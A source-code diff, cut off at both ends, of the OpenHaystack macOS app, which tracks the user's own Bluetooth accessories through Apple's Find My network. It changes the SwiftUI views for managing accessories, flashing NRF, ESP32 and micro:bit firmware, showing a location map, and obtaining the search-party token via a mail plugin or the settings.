.frame(width: ImageSelectionList.boxSize, height: ImageSelectionList.boxSize, alignment: .center)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
.contentShape(Rectangle())
|
||||
}
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(PlainButtonStyle())
|
||||
.contentShape(Rectangle())
|
||||
}
|
||||
}
|
||||
.frame(width: 100)
|
||||
.padding(ImageSelectionList.boxSize / 2)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,92 +1,174 @@
|
||||
//
|
||||
// ManageAccessoriesView.swift
|
||||
// OpenHaystack
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Created by Alex - SEEMOO on 09.03.21.
|
||||
// Copyright © 2021 SEEMOO - TU Darmstadt. All rights reserved.
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
import os
|
||||
|
||||
struct ManageAccessoriesView: View {
|
||||
|
||||
@ObservedObject var accessoryController = AccessoryController.shared
|
||||
@EnvironmentObject var accessoryController: AccessoryController
|
||||
var accessories: [Accessory] {
|
||||
return self.accessoryController.accessories
|
||||
}
|
||||
|
||||
// MARK: Bindings from main View
|
||||
@Binding var alertType: OpenHaystackMainView.AlertType?
|
||||
@Binding var scriptOutput: String?
|
||||
@Binding var focusedAccessory: Accessory?
|
||||
@Binding var accessoryToDeploy: Accessory?
|
||||
@Binding var showESP32DeploySheet: Bool
|
||||
@State var sheetShown: SheetType?
|
||||
|
||||
// MARK: View State
|
||||
@State var keyName: String = ""
|
||||
@State var accessoryColor: Color = Color.white
|
||||
@State var selectedIcon: String = "briefcase.fill"
|
||||
@State var showMailPopup = false
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
Text("Create a new tracking accessory")
|
||||
.font(.title2)
|
||||
.padding(.top)
|
||||
|
||||
Text("A BBC Microbit can be used to track anything you care about. Connect it over USB, name the accessory (e.g. Backpack) generate the key and deploy it")
|
||||
.multilineTextAlignment(.center)
|
||||
.font(.caption)
|
||||
.foregroundColor(.gray)
|
||||
|
||||
HStack {
|
||||
TextField("Name", text: self.$keyName)
|
||||
ColorPicker("", selection: self.$accessoryColor)
|
||||
.frame(maxWidth: 50, maxHeight: 20)
|
||||
IconSelectionView(selectedImageName: self.$selectedIcon)
|
||||
}
|
||||
|
||||
Button(
|
||||
action: self.addAccessory,
|
||||
label: {
|
||||
Text("Generate key and deploy")
|
||||
}
|
||||
)
|
||||
.disabled(self.keyName.isEmpty)
|
||||
.padding(.bottom)
|
||||
|
||||
Divider()
|
||||
|
||||
Text("Your accessories")
|
||||
.font(.title2)
|
||||
.padding(.top)
|
||||
|
||||
if self.accessories.isEmpty {
|
||||
Spacer()
|
||||
Text("No accessories have been added yet. Go ahead and add one above")
|
||||
Text("No accessories have been added yet. Go ahead and add one via the '+' icon.")
|
||||
.multilineTextAlignment(.center)
|
||||
Spacer()
|
||||
} else {
|
||||
self.accessoryList
|
||||
}
|
||||
|
||||
Spacer()
|
||||
|
||||
}
|
||||
.sheet(isPresented: self.$showESP32DeploySheet, content: {
|
||||
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
|
||||
.toolbar(content: {
|
||||
self.toolbarView
|
||||
})
|
||||
.sheet(item: self.$sheetShown) { sheetType in
|
||||
switch sheetType {
|
||||
case .esp32Install:
|
||||
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
|
||||
case .nrfDeviceInstall:
|
||||
NRFInstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType, scriptOutput: self.$scriptOutput)
|
||||
case .deployFirmware:
|
||||
self.selectTargetView
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Accessory List view.
|
||||
var accessoryList: some View {
|
||||
List(self.accessories) { accessory in
|
||||
|
||||
List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
|
||||
AccessoryListEntry(
|
||||
accessory: accessory,
|
||||
accessoryIcon: Binding(
|
||||
get: { accessory.icon },
|
||||
set: { accessory.icon = $0 }
|
||||
),
|
||||
accessoryColor: Binding(
|
||||
get: { accessory.color },
|
||||
set: { accessory.color = $0 }
|
||||
),
|
||||
accessoryName: Binding(
|
||||
get: { accessory.name },
|
||||
set: { accessory.name = $0 }
|
||||
),
|
||||
alertType: self.$alertType,
|
||||
delete: self.delete(accessory:),
|
||||
deployAccessoryToMicrobit: self.deploy(accessory:),
|
||||
zoomOn: { self.focusedAccessory = $0 })
|
||||
zoomOn: { self.focusedAccessory = $0 }
|
||||
)
|
||||
}
|
||||
.background(Color.clear)
|
||||
.cornerRadius(15.0)
|
||||
.listStyle(PlainListStyle())
|
||||
|
||||
}
|
||||
|
||||
/// All toolbar buttons shown.
|
||||
var toolbarView: some View {
|
||||
Group {
|
||||
Spacer()
|
||||
|
||||
Button(
|
||||
action: self.importAccessories,
|
||||
label: {
|
||||
Label("Import accessories", systemImage: "square.and.arrow.down")
|
||||
}
|
||||
)
|
||||
.help("Import accessories from a file")
|
||||
|
||||
Button(
|
||||
action: self.exportAccessories,
|
||||
label: {
|
||||
Label("Export accessories", systemImage: "square.and.arrow.up")
|
||||
}
|
||||
)
|
||||
.help("Export all accessories to a file")
|
||||
|
||||
Button(action: self.addAccessory) {
|
||||
Label("Add accessory", systemImage: "plus")
|
||||
}
|
||||
.help("Add a new accessory")
|
||||
}
|
||||
}
|
||||
|
||||
var selectTargetView: some View {
|
||||
VStack {
|
||||
Text("Select target")
|
||||
.font(.title)
|
||||
Text("Please select to which device you want to deply")
|
||||
.padding(.bottom, 4)
|
||||
|
||||
VStack {
|
||||
Button(
|
||||
"Micro:bit",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
if let accessory = self.accessoryToDeploy {
|
||||
self.deployAccessoryToMicrobit(accessory: accessory)
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"Export Microbit firmware",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
if let accessory = self.accessoryToDeploy {
|
||||
self.exportMicrobitFirmware(for: accessory)
|
||||
}
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"ESP32",
|
||||
action: {
|
||||
self.sheetShown = .esp32Install
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"NRF Device",
|
||||
action: {
|
||||
self.sheetShown = .nrfDeviceInstall
|
||||
}
|
||||
).buttonStyle(LargeButtonStyle())
|
||||
|
||||
Button(
|
||||
"Cancel",
|
||||
action: {
|
||||
self.sheetShown = nil
|
||||
}
|
||||
)
|
||||
.buttonStyle(LargeButtonStyle(destructive: true))
|
||||
}
|
||||
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
|
||||
/// Delete an accessory from the list of accessories.
|
||||
@@ -100,34 +182,116 @@ struct ManageAccessoriesView: View {
|
||||
|
||||
func deploy(accessory: Accessory) {
|
||||
self.accessoryToDeploy = accessory
|
||||
self.alertType = .selectDepoyTarget
|
||||
self.sheetShown = .deployFirmware
|
||||
}
|
||||
|
||||
/// Add an accessory with the provided details.
|
||||
func addAccessory() {
|
||||
let keyName = self.keyName
|
||||
self.keyName = ""
|
||||
|
||||
do {
|
||||
let accessory = try self.accessoryController.addAccessory(with: keyName, color: self.accessoryColor, icon: self.selectedIcon)
|
||||
self.deploy(accessory: accessory)
|
||||
|
||||
_ = try self.accessoryController.addAccessory()
|
||||
} catch {
|
||||
self.alertType = .keyError
|
||||
}
|
||||
}
|
||||
|
||||
func exportAccessories() {
|
||||
do {
|
||||
_ = try self.accessoryController.export(accessories: self.accessories)
|
||||
} catch {
|
||||
self.alertType = .exportFailed
|
||||
}
|
||||
}
|
||||
|
||||
func importAccessories() {
|
||||
do {
|
||||
try self.accessoryController.importAccessories()
|
||||
} catch {
|
||||
if let importError = error as? AccessoryController.ImportError,
|
||||
importError == .cancelled
|
||||
{
|
||||
//User cancelled the import. No error
|
||||
return
|
||||
}
|
||||
|
||||
self.alertType = .importFailed
|
||||
}
|
||||
}
|
||||
|
||||
/// Deploy the public key of the accessory to a BBC microbit.
|
||||
func deployAccessoryToMicrobit(accessory: Accessory) {
|
||||
do {
|
||||
try MicrobitController.deploy(accessory: accessory)
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .deployFailed
|
||||
return
|
||||
}
|
||||
|
||||
self.alertType = .deployedSuccessfully
|
||||
accessory.isDeployed = true
|
||||
self.accessoryToDeploy = nil
|
||||
}
|
||||
|
||||
func exportMicrobitFirmware(for accessory: Accessory) {
|
||||
do {
|
||||
let firmware = try MicrobitController.patchFirmware(for: accessory)
|
||||
|
||||
let savePanel = NSSavePanel()
|
||||
savePanel.allowedFileTypes = ["bin"]
|
||||
savePanel.canCreateDirectories = true
|
||||
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
|
||||
savePanel.message = "Export the micro:bit firmware"
|
||||
savePanel.nameFieldLabel = "Firmware name"
|
||||
savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
|
||||
savePanel.prompt = "Export"
|
||||
savePanel.title = "Export firmware"
|
||||
|
||||
let result = savePanel.runModal()
|
||||
|
||||
if result == .OK,
|
||||
let url = savePanel.url
|
||||
{
|
||||
// Store the accessory file
|
||||
try firmware.write(to: url)
|
||||
}
|
||||
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .exportFailed
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
enum SheetType: Int, Identifiable {
|
||||
var id: Int {
|
||||
return self.rawValue
|
||||
}
|
||||
case esp32Install
|
||||
case nrfDeviceInstall
|
||||
case deployFirmware
|
||||
}
|
||||
}
|
||||
|
||||
struct ManageAccessoriesView_Previews: PreviewProvider {
|
||||
|
||||
@State static var accessories = PreviewData.accessories
|
||||
@State static var alertType: OpenHaystackMainView.AlertType?
|
||||
@State static var scriptOutput: String?
|
||||
@State static var focussed: Accessory?
|
||||
@State static var deploy: Accessory?
|
||||
@State static var showESPSheet: Bool = true
|
||||
|
||||
static var previews: some View {
|
||||
ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
|
||||
ManageAccessoriesView(
|
||||
alertType: self.$alertType, scriptOutput: self.$scriptOutput, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy,
|
||||
showESP32DeploySheet: self.$showESPSheet)
|
||||
}
|
||||
}
|
||||
|
||||
//FIXME: This is a workaround, because the List with Default style (and clear background) started to crop the rows on macOS 11.3
|
||||
extension NSTableView {
|
||||
open override func viewDidMoveToWindow() {
|
||||
super.viewDidMoveToWindow()
|
||||
self.backgroundColor = .clear
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import OSLog
|
||||
import SwiftUI
|
||||
|
||||
struct NRFInstallSheet: View {
|
||||
@Binding var accessory: Accessory?
|
||||
@Binding var alertType: OpenHaystackMainView.AlertType?
|
||||
@Binding var scriptOutput: String?
|
||||
@State var isFlashing = false
|
||||
|
||||
@ObservedObject var days = NumbersOnly()
|
||||
@ObservedObject var hours = NumbersOnly()
|
||||
@ObservedObject var minutes = NumbersOnly()
|
||||
|
||||
@Environment(\.presentationMode) var presentationMode
|
||||
|
||||
var body: some View {
|
||||
VStack {
|
||||
self.flashView
|
||||
.padding()
|
||||
.overlay(self.loadingOverlay)
|
||||
.frame(minWidth: 640, minHeight: 480, alignment: .center)
|
||||
}
|
||||
.onAppear {
|
||||
}
|
||||
}
|
||||
|
||||
var flashView: some View {
|
||||
VStack {
|
||||
Text("Flash your NRF Device")
|
||||
.font(.title2)
|
||||
|
||||
Text("Fill out options for flashing firmware")
|
||||
.foregroundColor(.gray)
|
||||
|
||||
Divider()
|
||||
|
||||
Text(
|
||||
"The new NRF firmware uses rotating keys. This means that the device changes its public key after a specific number of days. This disallows ad networks to track your device over several days when you are moving around the city. Shorter update cycles then days are not supported"
|
||||
)
|
||||
self.timePicker
|
||||
|
||||
Text("One day is a reasonable amount of time")
|
||||
.font(.footnote)
|
||||
.foregroundColor(.secondary)
|
||||
|
||||
Spacer()
|
||||
|
||||
HStack {
|
||||
Spacer()
|
||||
|
||||
Button(
|
||||
"Deploy",
|
||||
action: {
|
||||
if let accessory = self.accessory {
|
||||
var daysInt = Int(days.value) ?? 1
|
||||
if daysInt < 1 {
|
||||
daysInt = 1
|
||||
}
|
||||
let hoursInt = 0
|
||||
let minutesInt = 0
|
||||
|
||||
let updateInterval = daysInt * 24 * 60 + hoursInt * 60 + minutesInt
|
||||
//warn user if no update interval was given
|
||||
if updateInterval > 0 {
|
||||
deployAccessoryToNRFDevice(accessory: accessory, updateInterval: updateInterval)
|
||||
} else {
|
||||
|
||||
}
|
||||
}
|
||||
})
|
||||
|
||||
Button(
|
||||
"Cancel",
|
||||
action: {
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
})
|
||||
}
|
||||
|
||||
HStack {
|
||||
Spacer()
|
||||
Text("Flashing from M1 Macs might fail due to missing ARM support by NRF")
|
||||
.font(.footnote)
|
||||
.foregroundColor(.secondary)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var timePicker: some View {
|
||||
Group {
|
||||
HStack {
|
||||
TextField("", text: $days.value).textFieldStyle(RoundedBorderTextFieldStyle())
|
||||
Text("Day(s)")
|
||||
}
|
||||
}.padding()
|
||||
}
|
||||
|
||||
var loadingOverlay: some View {
|
||||
ZStack {
|
||||
if isFlashing {
|
||||
Rectangle()
|
||||
.fill(Color.gray)
|
||||
.opacity(0.5)
|
||||
|
||||
VStack {
|
||||
ActivityIndicator(size: .large)
|
||||
Text("This can take up to 3min")
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func deployAccessoryToNRFDevice(accessory: Accessory, updateInterval: Int) {
|
||||
do {
|
||||
self.isFlashing = true
|
||||
|
||||
try NRFController.flashToNRF(
|
||||
accessory: accessory,
|
||||
updateInterval: updateInterval,
|
||||
completion: { result in
|
||||
presentationMode.wrappedValue.dismiss()
|
||||
|
||||
self.isFlashing = false
|
||||
switch result {
|
||||
case .success(_):
|
||||
self.alertType = .deployedSuccessfully
|
||||
accessory.isDeployed = true
|
||||
accessory.usesDerivation = true
|
||||
accessory.updateInterval = TimeInterval(updateInterval * 60)
|
||||
case .failure(let loggingFileUrl, let error):
|
||||
os_log(.error, "Flashing to NRF device failed %@", String(describing: error))
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
self.alertType = .nrfDeployFailed
|
||||
do {
|
||||
self.scriptOutput = try String(contentsOf: loggingFileUrl, encoding: .ascii)
|
||||
} catch {
|
||||
self.scriptOutput = "Error while trying to read log file."
|
||||
}
|
||||
}
|
||||
})
|
||||
} catch {
|
||||
os_log(.error, "Preparation or execution of script failed %@", String(describing: error))
|
||||
self.presentationMode.wrappedValue.dismiss()
|
||||
self.alertType = .deployFailed
|
||||
self.isFlashing = false
|
||||
}
|
||||
|
||||
self.accessory = nil
|
||||
}
|
||||
}
|
||||
|
||||
struct NRFInstallSheet_Previews: PreviewProvider {
|
||||
@State static var acc: Accessory? = try! Accessory(name: "Sample")
|
||||
|
||||
@State static var alert: OpenHaystackMainView.AlertType?
|
||||
@State static var scriptOutput: String?
|
||||
|
||||
static var previews: some View {
|
||||
NRFInstallSheet(accessory: $acc, alertType: $alert, scriptOutput: $scriptOutput)
|
||||
}
|
||||
}
|
||||
|
||||
class NumbersOnly: ObservableObject {
|
||||
@Published var value = "1" {
|
||||
didSet {
|
||||
let filtered = value.filter { $0.isNumber }
|
||||
|
||||
if value != filtered {
|
||||
value = filtered
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import MapKit
|
||||
import OSLog
|
||||
@@ -12,59 +14,65 @@ import SwiftUI
|
||||
struct OpenHaystackMainView: View {
|
||||
|
||||
@State var loading = false
|
||||
@ObservedObject var accessoryController = AccessoryController.shared
|
||||
@EnvironmentObject var accessoryController: AccessoryController
|
||||
|
||||
var accessories: [Accessory] {
|
||||
return self.accessoryController.accessories
|
||||
}
|
||||
|
||||
@State var showKeyError = false
|
||||
@State var alertType: AlertType?
|
||||
@State var popUpAlertType: PopUpAlertType?
|
||||
@State var errorDescription: String?
|
||||
@State var scriptOutput: String?
|
||||
@State var searchPartyToken: String = ""
|
||||
@State var searchPartyTokenLoaded = false
|
||||
@State var mapType: MKMapType = .standard
|
||||
@State var isLoading = false
|
||||
@State var focusedAccessory: Accessory?
|
||||
@State var historyMapView = false
|
||||
@State var historySeconds: TimeInterval = TimeInterval.Units.day.rawValue
|
||||
@State var accessoryToDeploy: Accessory?
|
||||
@State var showMailPlugInPopover = false
|
||||
|
||||
@State var mailPluginIsActive = false
|
||||
|
||||
@State var showESP32DeploySheet = false
|
||||
|
||||
@AppStorage("searchPartyToken") private var settingsSPToken: String?
|
||||
@AppStorage("useMailPlugin") private var settingsUseMailPlugin: Bool = false
|
||||
|
||||
var body: some View {
|
||||
GeometryReader { geo in
|
||||
|
||||
NavigationView {
|
||||
|
||||
ManageAccessoriesView(
|
||||
alertType: self.$alertType,
|
||||
scriptOutput: self.$scriptOutput,
|
||||
focusedAccessory: self.$focusedAccessory,
|
||||
accessoryToDeploy: self.$accessoryToDeploy,
|
||||
showESP32DeploySheet: self.$showESP32DeploySheet
|
||||
)
|
||||
.frame(minWidth: 250, idealWidth: 280, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
|
||||
|
||||
ZStack {
|
||||
VStack {
|
||||
HStack {
|
||||
ManageAccessoriesView(
|
||||
alertType: self.$alertType,
|
||||
focusedAccessory: self.$focusedAccessory,
|
||||
accessoryToDeploy: self.$accessoryToDeploy,
|
||||
showESP32DeploySheet: self.$showESP32DeploySheet)
|
||||
|
||||
Spacer()
|
||||
|
||||
VStack {
|
||||
self.mapView
|
||||
}.frame(width: geo.size.width * 0.5, alignment: .trailing)
|
||||
|
||||
}
|
||||
|
||||
if searchPartyTokenLoaded == false {
|
||||
TextField("Search Party token", text: self.$searchPartyToken)
|
||||
}
|
||||
}
|
||||
|
||||
AccessoryMapView(
|
||||
accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.$focusedAccessory, showHistory: self.$historyMapView,
|
||||
showPastHistory: self.$historySeconds
|
||||
)
|
||||
.overlay(self.mapOverlay)
|
||||
if self.popUpAlertType != nil {
|
||||
VStack {
|
||||
Spacer()
|
||||
|
||||
PopUpAlertView(alertType: self.popUpAlertType!)
|
||||
.transition(AnyTransition.move(edge: .bottom))
|
||||
.padding(.bottom, 30)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
.frame(minWidth: 500, idealWidth: 500, maxWidth: .infinity, minHeight: 300, idealHeight: 400, maxHeight: .infinity, alignment: .center)
|
||||
.toolbar(content: {
|
||||
self.toolbarView
|
||||
})
|
||||
.alert(
|
||||
item: self.$alertType,
|
||||
content: { alertType in
|
||||
@@ -88,8 +96,8 @@ struct OpenHaystackMainView: View {
|
||||
self.onAppear()
|
||||
}
|
||||
}
|
||||
.padding([.leading, .trailing, .bottom])
|
||||
.frame(minWidth: 720, maxWidth: .infinity, minHeight: 480, maxHeight: .infinity)
|
||||
.navigationTitle(self.focusedAccessory?.name ?? "Your accessories")
|
||||
|
||||
}
|
||||
|
||||
// MARK: Subviews
|
||||
@@ -107,39 +115,54 @@ struct OpenHaystackMainView: View {
|
||||
}
|
||||
}
|
||||
|
||||
/// Right side of the view showing a map with all items presented.
|
||||
var mapView: some View {
|
||||
ZStack {
|
||||
|
||||
AccessoryMapView(accessoryController: self.accessoryController, mapType: self.$mapType, focusedAccessory: self.focusedAccessory)
|
||||
.overlay(self.mapOverlay)
|
||||
.cornerRadius(15.0)
|
||||
.clipped()
|
||||
.padding([.top, .bottom], 15)
|
||||
|
||||
VStack {
|
||||
Spacer()
|
||||
HStack {
|
||||
|
||||
Picker("", selection: self.$mapType) {
|
||||
Text("Satellite").tag(MKMapType.hybrid)
|
||||
Text("Standard").tag(MKMapType.standard)
|
||||
}
|
||||
.pickerStyle(SegmentedPickerStyle())
|
||||
.frame(width: 150, alignment: .center)
|
||||
|
||||
Button(
|
||||
action: self.downloadLocationReports,
|
||||
label: {
|
||||
Image(systemName: "arrow.clockwise")
|
||||
Text("Reload")
|
||||
}
|
||||
)
|
||||
.opacity(1.0)
|
||||
.disabled(self.accessories.isEmpty)
|
||||
/// All toolbar items shown.
|
||||
var toolbarView: some View {
|
||||
Group {
|
||||
if self.historyMapView {
|
||||
Text("\(TimeInterval(self.historySeconds).description)")
|
||||
Slider<Text, EmptyView>.withLogScale(value: $historySeconds, in: 30 * TimeInterval.Units.minute.rawValue...TimeInterval.Units.week.rawValue) {
|
||||
Text("Past time to show")
|
||||
}
|
||||
.padding(.bottom, 25)
|
||||
.frame(width: 80)
|
||||
}
|
||||
Toggle(isOn: $historyMapView) {
|
||||
Label("Show location history", systemImage: "clock")
|
||||
}
|
||||
.disabled(self.focusedAccessory == nil)
|
||||
|
||||
Picker("", selection: self.$mapType) {
|
||||
Text("Satellite").tag(MKMapType.hybrid)
|
||||
Text("Standard").tag(MKMapType.standard)
|
||||
}
|
||||
.pickerStyle(SegmentedPickerStyle())
|
||||
|
||||
Button(
|
||||
action: {
|
||||
if self.settingsUseMailPlugin && !self.mailPluginIsActive {
|
||||
self.showMailPlugInPopover.toggle()
|
||||
self.checkPluginIsRunning(silent: true, nil)
|
||||
} else {
|
||||
self.downloadLocationReports()
|
||||
}
|
||||
|
||||
},
|
||||
label: {
|
||||
HStack {
|
||||
Circle()
|
||||
.fill(self.mailPluginIsActive ? Color.green : Color.orange)
|
||||
.frame(width: 8, height: 8)
|
||||
Label("Reload", systemImage: "arrow.clockwise")
|
||||
.disabled(!self.mailPluginIsActive)
|
||||
}
|
||||
|
||||
}
|
||||
)
|
||||
.disabled(self.accessories.isEmpty)
|
||||
.popover(
|
||||
isPresented: $showMailPlugInPopover,
|
||||
content: {
|
||||
self.mailStatePopover
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -148,80 +171,71 @@ struct OpenHaystackMainView: View {
|
||||
/// Checks if the search party token can be fetched without the Mail Plugin. If true the plugin is not needed for this environment. (e.g. when SIP is disabled)
|
||||
let reportsFetcher = ReportsFetcher()
|
||||
if let token = reportsFetcher.fetchSearchpartyToken(),
|
||||
let tokenString = String(data: token, encoding: .ascii) {
|
||||
let tokenString = String(data: token, encoding: .ascii)
|
||||
{
|
||||
self.searchPartyToken = tokenString
|
||||
return
|
||||
}
|
||||
|
||||
let pluginManager = MailPluginManager()
|
||||
|
||||
// Check if the plugin is installed
|
||||
if pluginManager.isMailPluginInstalled == false {
|
||||
// Install the mail plugin
|
||||
self.alertType = .activatePlugin
|
||||
} else {
|
||||
self.checkPluginIsRunning(nil)
|
||||
/// Checks if the search party token was set in the settings. If true the plugin is also not needed
|
||||
if let tokenString = self.settingsSPToken {
|
||||
self.searchPartyToken = tokenString
|
||||
return
|
||||
}
|
||||
|
||||
/// Uses mail plugin if enabled in settings
|
||||
if self.settingsUseMailPlugin {
|
||||
let pluginManager = MailPluginManager()
|
||||
// Check if the plugin is installed
|
||||
if pluginManager.isMailPluginInstalled == false {
|
||||
// Install the mail plugin
|
||||
self.alertType = .activatePlugin
|
||||
self.checkPluginIsRunning(silent: true, nil)
|
||||
} else {
|
||||
self.checkPluginIsRunning(nil)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
/// Download the location reports for all current accessories. Shows an error if something fails, like plug-in is missing
|
||||
func downloadLocationReports() {
|
||||
|
||||
self.checkPluginIsRunning { (running) in
|
||||
guard running else {
|
||||
self.alertType = .activatePlugin
|
||||
return
|
||||
}
|
||||
|
||||
guard !self.searchPartyToken.isEmpty,
|
||||
let tokenData = self.searchPartyToken.data(using: .utf8)
|
||||
else {
|
||||
self.alertType = .searchPartyToken
|
||||
return
|
||||
}
|
||||
|
||||
withAnimation {
|
||||
self.isLoading = true
|
||||
}
|
||||
|
||||
FindMyController.shared.fetchReports(for: accessories, with: tokenData) { result in
|
||||
switch result {
|
||||
case .failure(let error):
|
||||
os_log(.error, "Downloading reports failed %@", error.localizedDescription)
|
||||
case .success(let devices):
|
||||
let reports = devices.compactMap({ $0.reports }).flatMap({ $0 })
|
||||
if reports.isEmpty {
|
||||
withAnimation {
|
||||
self.popUpAlertType = .noReportsFound
|
||||
}
|
||||
self.isLoading = true
|
||||
self.accessoryController.downloadLocationReports { result in
|
||||
self.isLoading = false
|
||||
switch result {
|
||||
case .failure(let alert):
|
||||
if alert == .noReportsFound {
|
||||
self.popUpAlertType = .noReportsFound
|
||||
} else {
|
||||
if alert == .activatePlugin {
|
||||
self.mailPluginIsActive = false
|
||||
}
|
||||
self.alertType = alert
|
||||
}
|
||||
withAnimation {
|
||||
self.isLoading = false
|
||||
}
|
||||
case .success(_):
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func deploy(accessory: Accessory) {
|
||||
self.accessoryToDeploy = accessory
|
||||
self.alertType = .selectDepoyTarget
|
||||
}
|
||||
var mailStatePopover: some View {
|
||||
VStack {
|
||||
HStack {
|
||||
Image(systemName: "envelope")
|
||||
.font(.title)
|
||||
.foregroundColor(self.mailPluginIsActive ? .green : .red)
|
||||
|
||||
/// Deploy the public key of the accessory to a BBC microbit.
|
||||
func deployAccessoryToMicrobit(accessory: Accessory) {
|
||||
do {
|
||||
try MicrobitController.deploy(accessory: accessory)
|
||||
} catch {
|
||||
os_log("Error occurred %@", String(describing: error))
|
||||
self.alertType = .deployFailed
|
||||
return
|
||||
if self.mailPluginIsActive {
|
||||
Text("The mail plug-in is up and running")
|
||||
} else {
|
||||
Text("Cannot connect to the mail plug-in. Open Apple Mail and make sure the plug-in is enabled")
|
||||
}
|
||||
}
|
||||
.padding()
|
||||
}
|
||||
|
||||
self.alertType = .deployedSuccessfully
|
||||
|
||||
self.accessoryToDeploy = nil
|
||||
.frame(width: 250, height: 120)
|
||||
}
|
||||
|
||||
/// Ask to install and activate the mail plugin.
|
||||
@@ -241,7 +255,7 @@ struct OpenHaystackMainView: View {
|
||||
}
|
||||
}
|
||||
|
||||
func checkPluginIsRunning(_ completion: ((Bool) -> Void)?) {
|
||||
func checkPluginIsRunning(silent: Bool = false, _ completion: ((Bool) -> Void)?) {
|
||||
// Check if Mail plugin is active
|
||||
AnisetteDataManager.shared.requestAnisetteData { (result) in
|
||||
DispatchQueue.main.async {
|
||||
@@ -249,14 +263,18 @@ struct OpenHaystackMainView: View {
|
||||
case .success(let accountData):
|
||||
|
||||
withAnimation {
|
||||
self.searchPartyToken = String(data: accountData.searchPartyToken, encoding: .ascii) ?? ""
|
||||
if self.searchPartyToken.isEmpty == false {
|
||||
self.searchPartyTokenLoaded = true
|
||||
if let token = accountData.searchPartyToken {
|
||||
self.searchPartyToken = String(data: token, encoding: .ascii) ?? ""
|
||||
if self.searchPartyToken.isEmpty == false {
|
||||
self.searchPartyTokenLoaded = true
|
||||
}
|
||||
}
|
||||
}
|
||||
self.mailPluginIsActive = true
|
||||
self.showMailPlugInPopover = false
|
||||
completion?(true)
|
||||
case .failure(let error):
|
||||
if let error = error as? AnisetteDataError {
|
||||
if let error = error as? AnisetteDataError, silent == false {
|
||||
switch error {
|
||||
case .pluginNotFound:
|
||||
self.alertType = .activatePlugin
|
||||
@@ -264,7 +282,15 @@ struct OpenHaystackMainView: View {
|
||||
self.alertType = .activatePlugin
|
||||
}
|
||||
}
|
||||
self.mailPluginIsActive = false
|
||||
completion?(false)
|
||||
|
||||
//Check again in 5s
|
||||
DispatchQueue.main.asyncAfter(
|
||||
deadline: .now() + 5,
|
||||
execute: {
|
||||
self.checkPluginIsRunning(silent: true, nil)
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -294,7 +320,19 @@ struct OpenHaystackMainView: View {
|
||||
title: Text("Add the search party token"),
|
||||
message: Text(
|
||||
"""
|
||||
Please paste the search party token below after copying itfrom the macOS Keychain.
|
||||
Please paste the search party token in the settings after copying it from the macOS Keychain.
|
||||
The item that contains the key can be found by searching for:
|
||||
com.apple.account.DeviceLocator.search-party-token
|
||||
"""
|
||||
),
|
||||
dismissButton: Alert.Button.okay())
|
||||
case .invalidSearchPartyToken:
|
||||
return Alert(
|
||||
title: Text("Invalid search party token"),
|
||||
message: Text(
|
||||
"""
|
||||
The request returned an empty result, this is probably due to an invalid search party token.
|
||||
Please consider updating your search party token in the settings after copying it from the macOS Keychain.
|
||||
The item that contains the key can be found by searching for:
|
||||
